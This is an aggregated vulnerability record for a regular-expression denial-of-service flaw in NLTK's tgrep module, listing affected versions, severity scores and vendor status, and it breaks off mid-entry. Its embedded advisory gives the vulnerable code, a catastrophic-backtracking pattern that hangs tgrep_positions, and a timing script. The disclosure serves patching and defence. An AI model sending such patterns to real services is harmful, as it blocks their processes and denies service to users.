{"id":"CVE-2026-80206","aliases":["DEBIAN-CVE-2026-80206","GHSA-w3v8-gmh9-3wv7","PYSEC-2026-3751","UBUNTU-CVE-2026-80206"],"summary":"NLTK 3.10.2 Regular Expression Denial of Service via tgrep","published_at":"2026-08-26T10:28:15.035Z","modified_at":"2026-10-01T03:03:35.359994Z","products":[],"rating":{"severity":"high","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false,"red_hat":"Moderate","vendor_ratings":[{"source":"Ubuntu","rating":"medium"},{"source":"Red Hat","rating":"Moderate"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.004399999976158142,"percentile":0.3901900053024292,"date":"2026-11-19T00:00:00Z"},"priority":10.2,"details":"NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","affected_stack":[],"affected_other":[{"ecosystem":"CVE","package":"nltk/nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3"}]}],"fixed":["3.10.3"],"provider":"cvelistv5","source":"CVE-2026-80206","relation":"self"},{"ecosystem":"Debian:12","package":"nltk","purl":"pkg:deb/debian/nltk?arch=source&distro=bookworm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.8-1","3.8.1-1","3.9.1-1","3.9.1-2","3.9.2-1","3.9.3-1"],"provider":"osv","source":"DEBIAN-CVE-2026-80206","relation":"self"},{"ecosystem":"Debian:13","package":"nltk","purl":"pkg:deb/debian/nltk?arch=source&distro=trixie","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.9.1-2","3.9.2-1","3.9.3-1"],"provider":"osv","source":"DEBIAN-CVE-2026-80206","relation":"self"},{"ecosystem":"Debian:14","package":"nltk","purl":"pkg:deb/debian/nltk?arch=source&distro=forky","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3-1"}]}],"versions":["3.10.0-1","3.10.1-1","3.9.1-2","3.9.2-1","3.9.3-1"],"fixed":["3.10.3-1"],"provider":"osv","source":"DEBIAN-CVE-2026-80206","relation":"self"},{"ecosystem":"NVD","package":"nltk:nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3"}]}],"fixed":["3.10.3"],"provider":"nvd","source":"CVE-2026-80206","relation":"self"},{"ecosystem":"PyPI","package":"nltk","purl":"pkg:pypi/nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"fixed":["3.10.3"],"provider":"osv","source":"GHSA-w3v8-gmh9-3wv7","relation":"self"},{"ecosystem":"PyPI","package":"nltk","purl":"pkg:pypi/nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"fixed":["3.10.3"],"provider":"osv","source":"PYSEC-2026-3751","relation":"self"},{"ecosystem":"Ubuntu:Pro:14.04:LTS","package":"nltk","purl":"pkg:deb/ubuntu/nltk?arch=source&distro=esm-infra-legacy%2Ftrusty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0~b9-0ubuntu4","2.0~b9-0ubuntu4.1~esm2","2.0~b9-0ubuntu4.1~esm4","2.0~b9-0ubuntu4.1~esm5","2.0~b9-0ubuntu4.1~esm6"],"provider":"osv","source":"UBUNTU-CVE-2026-80206","relation":"self"},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"nltk","purl":"pkg:deb/ubuntu/nltk?arch=source&distro=esm-apps-legacy%2Fxenial","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.0.4-1","3.0.5-1","3.1-1","3.1-1ubuntu0.1","3.1-1ubuntu0.1+esm1","3.1-1ubuntu0.1+esm2","3.1-1ubuntu0.1+esm3","3.1-1ubuntu0.1+esm4"],"provider":"osv","source":"UBUNTU-CVE-2026-80206","relation":"self"},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"nltk","purl":"pkg:deb/ubuntu/nltk?arch=source&distro=esm-apps%2Fbionic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.4-1","3.2.5-1","3.2.5-1ubuntu0.1","3.2.5-1ubuntu0.1+esm1","3.2.5-1ubuntu0.1+esm2","3.2.5-1ubuntu0.1+esm3","3.2.5-1ubuntu0.1+esm4"],"provider":"osv","source":"UBUNTU-CVE-2026-80206","relation":"self"},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"nltk","purl":"pkg:deb/ubuntu/nltk?arch=source&distro=esm-apps%2Ffocal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.4.5-1","3.4.5-2","3.4.5-2ubuntu0.1~esm1","3.4.5-2ubuntu0.1~esm2","3.4.5-2ubuntu0.1~esm3","3.4.5-2ubuntu0.1~esm4"],"provider":"osv","source":"UBUNTU-CVE-2026-80206","relation":"self"},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"nltk","purl":"pkg:deb/ubuntu/nltk?arch=source&distro=esm-apps%2Fjammy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.5-1","3.6.5-1","3.6.7-1","3.7-1","3.7-1ubuntu0.1~esm1","3.7-1ubuntu0.1~esm2"],"provider":"osv","source":"UBUNTU-CVE-2026-80206","relation":"self"},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"nltk","purl":"pkg:deb/ubuntu/nltk?arch=source&distro=esm-apps%2Fnoble","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.8.1-1","3.8.1-1ubuntu0.1~esm1","3.8.1-1ubuntu0.1~esm2"],"provider":"osv","source":"UBUNTU-CVE-2026-80206","relation":"self"},{"ecosystem":"Ubuntu:Pro:26.04:LTS","package":"nltk","purl":"pkg:deb/ubuntu/nltk?arch=source&distro=esm-apps%2Fresolute","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.9.1-2","3.9.1-2build1","3.9.2-1","3.9.2-1ubuntu0.1~esm1","3.9.2-1ubuntu0.1~esm2"],"provider":"osv","source":"UBUNTU-CVE-2026-80206","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Exploit Intelligence","cpe":"cpe:/a:redhat:exploit_intelligence:0","status":"affected","packages":["exploit-intelligence-tech-preview/vulnerability-analysis-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2026-80206"},{"vendor":"Red Hat","product":"Lightspeed Core","cpe":"cpe:/a:redhat:lightspeed_core","status":"affected","packages":["lightspeed-core/lightspeed-stack-rhel9","lightspeed-core/rag-tool-cpu-rhel9","lightspeed-core/rag-tool-cuda-12.9-rhel9"],"package_count":3,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-80206"},{"vendor":"Red Hat","product":"OpenShift Lightspeed","cpe":"cpe:/a:redhat:openshift_lightspeed:1","status":"affected","packages":["openshift-lightspeed-tech-preview/lightspeed-rag-tool-rhel9","openshift-lightspeed/lightspeed-ocp-rag-rhel9","openshift-lightspeed/lightspeed-service-api-rhel9"],"package_count":3,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-80206"},{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["ansible-automation-platform-25/lightspeed-chatbot-rhel8"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2026-80206"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"affected","packages":["rhoai/odh-llama-stack-core-rhel9","rhoai/odh-ogx-core-rhel9","rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-ta-lmes-job-rhel9","rhoai/odh-trustyai-garak-lls-provider-dsp-rhel9","rhoai/odh-trustyai-nemo-guardrails-server-rhel9","rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9"],"package_count":7,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-80206"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2026-80206","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-80206","license":"CC-BY-4.0","published_at":"2026-08-26T10:28:15.035Z","modified_at":"2026-08-26T12:52:23.513Z","summary":"NLTK 3.10.2 Regular Expression Denial of Service via tgrep","details":"NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","source":"CVE-2026-80206"},{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"CVE-2026-80206"}],"affected":[{"ecosystem":"CVE","package":"nltk/nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3"}]}],"fixed":["3.10.3"],"provider":"cvelistv5","source":"CVE-2026-80206","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"}]},{"provider":"nvd","source_id":"CVE-2026-80206","relation":"self","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80206","severity":[],"affected":[{"ecosystem":"NVD","package":"nltk:nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3"}]}],"fixed":["3.10.3"],"provider":"nvd","source":"CVE-2026-80206","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"DEBIAN-CVE-2026-80206","relation":"self","url":"https://osv.dev/vulnerability/DEBIAN-CVE-2026-80206","published_at":"2026-08-26T11:16:40.103Z","modified_at":"2026-10-01T03:03:35.359994Z","details":"NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","source":"DEBIAN-CVE-2026-80206"}],"affected":[{"ecosystem":"Debian:12","package":"nltk","purl":"pkg:deb/debian/nltk?arch=source&distro=bookworm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.8-1","3.8.1-1","3.9.1-1","3.9.1-2","3.9.2-1","3.9.3-1"],"provider":"osv","source":"DEBIAN-CVE-2026-80206","relation":"self"},{"ecosystem":"Debian:13","package":"nltk","purl":"pkg:deb/debian/nltk?arch=source&distro=trixie","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.9.1-2","3.9.2-1","3.9.3-1"],"provider":"osv","source":"DEBIAN-CVE-2026-80206","relation":"self"},{"ecosystem":"Debian:14","package":"nltk","purl":"pkg:deb/debian/nltk?arch=source&distro=forky","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3-1"}]}],"versions":["3.10.0-1","3.10.1-1","3.9.1-2","3.9.2-1","3.9.3-1"],"fixed":["3.10.3-1"],"provider":"osv","source":"DEBIAN-CVE-2026-80206","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2026-80206"}]},{"provider":"osv","source_id":"GHSA-w3v8-gmh9-3wv7","relation":"self","url":"https://osv.dev/vulnerability/GHSA-w3v8-gmh9-3wv7","license":"CC-BY-4.0","published_at":"2026-09-08T20:28:28Z","modified_at":"2026-09-08T20:45:04.333988Z","summary":"NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions","details":"### Summary\nThe NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.\n\n### Affected Code\n`nltk/tgrep.py` — `_tgrep_node_action()` (around line 320)\n\nWhen a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation:\n\n```python\ndef _tgrep_node_action(_s, _l, tokens):\n    ...\n    elif tokens[0].startswith(\"/\"):\n        assert tokens[0].endswith(\"/\")\n        node_lit = tokens[0][1:-1]\n        return (\n            lambda r: lambda n, m=None, l=None: r.search(\n                _tgrep_node_literal_value(n)\n            )\n        )(re.compile(node_lit))  # User regex compiled and executed with no timeout\n```\nThe compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely.\n\n### Proof of Concept\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\n\n# Root node label is 25 'a' characters.\n# tgrep /regex/ branch calls re.compile(\"((a+)+)b\").search(\"aaa...a\")\n# No 'b' is present — exponential backtracking occurs.\ntree = nltk.Tree.fromstring(\"(\" + \"a\" * 25 + \" (NP (DT the)))\")\ntgrep_positions(r\"/((a+)+)b/\", [tree])   # Never returns\n```\n\n### Working Poc\n\nThe following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.\n\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\nimport time\n\ndef test_n(n):\n    tree = nltk.Tree.fromstring(\"(\" + \"a\" * n + \" (NP (DT the)))\")\n    pattern = r\"/((a+)+)b/\"\n    start = time.perf_counter()\n    list(tgrep_positions(pattern, [tree]))\n    return time.perf_counter() - start\n\nif __name__ == \"__main__\":\n    # Adjust the range if needed – these values complete quickly\n    n_values = [18, 20, 22, 24, 26, 28]\n    print(f\"Testing n = {n_values}\\n\")\n\n    times = []\n    for n in n_values:\n        t = test_n(n)\n        times.append((n, t))\n        print(f\"n={n:2d} done\", flush=True)\n\n    print(\"\\n--- Increase factors (per step in n) ---\")\n    factors = []\n    for i in range(1, len(times)):\n        prev_n, prev_t = times[i-1]\n        curr_n, curr_t = times[i]\n        factor = curr_t / prev_t\n        factors.append((curr_n, factor))\n        print(f\"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})\")\n\n    avg = sum(f for _, f in factors) / len(factors)\n    print(f\"\\nAverage factor: {avg:.2f}x\")\n    print(\"\\n✅ Confirmed: exponential growth (catastrophic backtracking).\")\n    print(\"   Larger n (≥ 35) will hang indefinitely.\")\n```\n\nWhen run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.\n\n\n### Impact\nIn environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.\n\n### Remediation\nThis issue remains unfixed in versions `<= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","source":"GHSA-w3v8-gmh9-3wv7"}],"affected":[{"ecosystem":"PyPI","package":"nltk","purl":"pkg:pypi/nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"fixed":["3.10.3"],"provider":"osv","source":"GHSA-w3v8-gmh9-3wv7","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80206"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"}]},{"provider":"osv","source_id":"PYSEC-2026-3751","relation":"self","url":"https://osv.dev/vulnerability/PYSEC-2026-3751","license":"CC-BY-4.0","published_at":"2026-08-26T11:16:40.103Z","modified_at":"2026-09-02T09:00:05.019508Z","details":"NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","source":"PYSEC-2026-3751"}],"affected":[{"ecosystem":"PyPI","package":"nltk","purl":"pkg:pypi/nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"fixed":["3.10.3"],"provider":"osv","source":"PYSEC-2026-3751","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"},{"type":"EVIDENCE","url":"https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"}]},{"provider":"osv","source_id":"UBUNTU-CVE-2026-80206","relation":"self","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-80206","license":"CC-BY-SA-4.0","published_at":"2026-08-26T11:16:00Z","modified_at":"2026-09-02T19:36:34.390575Z","details":"NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"UBUNTU-CVE-2026-80206"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","source":"UBUNTU-CVE-2026-80206"},{"type":"Ubuntu","score":"medium","source":"UBUNTU-CVE-2026-80206"}],"affected":[{"ecosystem":"Ubuntu:Pro:14.04:LTS","package":"nltk","purl":"pkg:deb/ubuntu/nltk?arch=source&distro=esm-infra-legacy%2Ftrusty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0~b9-0ubuntu4","2.0~b9-0ubuntu4.1~esm2","2.0~b9-0ubuntu4.1~esm4","2.0~b9-0ubuntu4.1~esm5","2.0~b9-0ubuntu4.1~esm6"],"provider":"osv","source":"UBUNTU-CVE-2026-80206","relation":"self"},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"nltk","purl":"pkg:deb/ubuntu/nltk?arch=source&distro=esm-apps-legacy%2Fxenial","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.0.4-1","3.0.5-1","3.1-1","3.1-1ubuntu0.1","3.1-1ubuntu0.1+esm1","3.1-1ubuntu0.1+esm2","3.1-1ubuntu0.1+esm3","3.1-1ubuntu0.1+esm4"],"provider":"osv","source":"UBUNTU-CVE-2026-80206","relation":"self"},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"nltk","purl":"pkg:deb/ubuntu/nltk?arch=source&distro=esm-apps%2Fbionic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.4-1","3.2.5-1","3.2.5-1ubuntu0.1","3.2.5-1ubuntu0.1+esm1","3.2.5-1ubuntu0.1+esm2","3.2.5-1ubuntu0.1+esm3","3.2.5-1ubuntu0.1+esm4"],"provider":"osv","source":"UBUNTU-CVE-2026-80206","relation":"self"},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"nltk","purl":"pkg:deb/ubuntu/nltk?arch=source&distro=esm-apps%2Ffocal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.4.5-1","3.4.5-2","3.4.5-2ubuntu0.1~esm1","3.4.5-2ubuntu0.1~esm2","3.4.5-2ubuntu0.1~esm3","3.4.5-2ubuntu0.1~esm4"],"provider":"osv","source":"UBUNTU-CVE-2026-80206","relation":"self"},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"nltk","purl":"pkg:deb/ubuntu/nltk?arch=source&distro=esm-apps%2Fjammy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.5-1","3.6.5-1","3.6.7-1","3.7-1","3.7-1ubuntu0.1~esm1","3.7-1ubuntu0.1~esm2"],"provider":"osv","source":"UBUNTU-CVE-2026-80206","relation":"self"},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"nltk","purl":"pkg:deb/ubuntu/nltk?arch=source&distro=esm-apps%2Fnoble","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.8.1-1","3.8.1-1ubuntu0.1~esm1","3.8.1-1ubuntu0.1~esm2"],"provider":"osv","source":"UBUNTU-CVE-2026-80206","relation":"self"},{"ecosystem":"Ubuntu:Pro:26.04:LTS","package":"nltk","purl":"pkg:deb/ubuntu/nltk?arch=source&distro=esm-apps%2Fresolute","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.9.1-2","3.9.1-2build1","3.9.2-1","3.9.2-1ubuntu0.1~esm1","3.9.2-1ubuntu0.1~esm2"],"provider":"osv","source":"UBUNTU-CVE-2026-80206","relation":"self"}],"product_status":[],"references":[{"type":"REPORT","url":"https://ubuntu.com/security/CVE-2026-80206"},{"type":"REPORT","url":"https://www.cve.org/CVERecord?id=CVE-2026-80206"},{"type":"REPORT","url":"https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"}]},{"provider":"redhat-vex","source_id":"CVE-2026-80206","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-80206","license":"CC-BY-4.0","published_at":"2026-08-26T10:28:15.035Z","modified_at":"2026-08-27T14:13:08Z","summary":"nltk: NLTK: Denial of Service vulnerability in tgrep module","details":"A flaw was found in NLTK, specifically within its tgrep module. This vulnerability, known as Regular Expression Denial of Service (ReDoS), allows a remote attacker to provide specially crafted regular expressions. When processed, these expressions can cause indefinite CPU saturation, leading to a complete denial of service for the Python process utilizing the NLTK library.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"CVE-2026-80206"},{"type":"Red Hat","score":"Moderate","source":"CVE-2026-80206"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"Exploit Intelligence","cpe":"cpe:/a:redhat:exploit_intelligence:0","status":"affected","packages":["exploit-intelligence-tech-preview/vulnerability-analysis-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2026-80206"},{"vendor":"Red Hat","product":"Lightspeed Core","cpe":"cpe:/a:redhat:lightspeed_core","status":"affected","packages":["lightspeed-core/lightspeed-stack-rhel9","lightspeed-core/rag-tool-cpu-rhel9","lightspeed-core/rag-tool-cuda-12.9-rhel9"],"package_count":3,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-80206"},{"vendor":"Red Hat","product":"OpenShift Lightspeed","cpe":"cpe:/a:redhat:openshift_lightspeed:1","status":"affected","packages":["openshift-lightspeed-tech-preview/lightspeed-rag-tool-rhel9","openshift-lightspeed/lightspeed-ocp-rag-rhel9","openshift-lightspeed/lightspeed-service-api-rhel9"],"package_count":3,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-80206"},{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["ansible-automation-platform-25/lightspeed-chatbot-rhel8"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support 